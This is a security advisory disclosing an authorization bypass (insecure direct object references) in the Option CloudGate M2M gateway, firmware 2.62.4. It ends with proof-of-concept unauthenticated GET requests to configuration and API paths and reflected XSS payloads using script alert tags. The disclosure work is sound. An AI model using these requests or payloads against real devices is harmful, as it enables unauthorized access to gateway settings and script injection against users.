Option CloudGate Insecure Direct Object References Authorization Bypass


Vendor: Option NV
Product web page: http://www.option.com
Affected version: CG0192-11897

Summary: The CloudGate M2M gateway from Option provides competitively
priced LAN to WWAN routing and GPS functionality in a single basic unit
certified on all major us cellular operators (CDMA/EV-DO and WCDMA/HSPA+).
The CloudGate is simple to configure locally or remotely from your PC,
tablet or Smartphone.

Desc: Insecure Direct Object References occur when an application provides
direct access to objects based on user-supplied input. As a result of this
vulnerability attackers can bypass authorization and access resources and
functionalities in the system directly, for example APIs, files, upload
utilities, device settings, etc.

Tested on: lighttpd 1.4.39
           firmware 2.62.4


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5333
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5333.php


11.06.2016

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GET /partials/firewall.html
GET /partials/system.html
GET /partials/ipsec.html
GET /partials/provisioning.html
GET /api/login
GET /api/replacementui
GET /api/goatgates

OR

/#/firewall
/#/system
/#/ipsec
/#/provisioning


XSS:

http://127.0.0.2/api/replacementui<script>alert(1)</script>
http://127.0.0.2/api/goatgates<script>alert(2)</script>
http://127.0.0.2/api/Blah-Blah<script>alert(3)</script>
http://127.0.0.2/api/<script>alert(4)</script>